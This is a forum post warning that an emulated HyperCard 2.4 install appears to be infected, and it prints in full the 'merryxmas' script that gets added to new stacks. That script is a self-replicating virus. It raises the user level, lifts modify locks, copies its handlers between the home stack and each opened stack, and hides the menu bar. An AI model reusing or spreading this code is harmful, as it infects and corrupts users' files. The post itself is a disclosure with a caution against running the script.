HC executable Virus alert: my downloaded/installed version of HyperCard 2.4 running in the emulator has a virus

[ooper-zz]

When a new stack is created using the installed version of HyperCard 2.4, my new stack is added the following script: I replaced "Home" with "hackHome", but Do NOT run without understanding what it does. I haven't evaluated it (it could be totally non-destructive, but don't count on that). I don't know if this explains some of the stack corruption observed.

on openbackground --merryxmas
  merryxmas "on openbackground --merryxmas"
end openbackground

on closebackground --merryxmas
  merryxmas "on closebackground --merryxmas"
end closebackground

on idle --merryxmas
  put "on idle --merryxmas" into key
  if not (the script of this stack contains key) then merryxmas key
end idle

on merryxmas key
  set lockscreen to true
  set lockmessages to true
  set lockrecent to true
  put the userlevel into oldlevel
  set the userlevel to 5
  put the script of this stack into stackscript
  put the script of stack "hackHome" into homescript
  put "on openbackground --merryxmas" into hostscript
  if stackscript contains key then
    if homescript contains key then
    else
      set cantmodify of stack "hackHome" to false
      if not (cantmodify of stack "hackHome") then
        set the script of stack "hackHome" to ¬
        homescript & return & lastlines(hostscipt,stackscript)
      end if
    end if
  else
    if homescript contains key then
      set cantmodify of this stack to false
      if not (cantmodify of this stack) then
        set the script of this stack to ¬
        stackscript & return & lastlines(hostscript,homescript)
      end if
    else domenu "Quit Hypercard"
  end if
  set the userlevel to oldlevel
  set lockrecent to false
  set lockmessages to false
  set lockscreen to false
end merryxmas

function lastlines afterline,stuff
  put (number of lines in stuff) into total
  put line (total-53) to total of stuff into host
  repeat with x = 55 to total
    put line (total-x+1) of stuff & return & host into host
    if line 1 of host is afterline then exit repeat
  end repeat
  return host
end lastlines

on openStack
  hide menubar
  pass openStack
end openStack

Luckily, I have a Mac Mini running OS9 and that version of HC doesn't do this...is not connected, so it'll be challenging moving files, but oh well.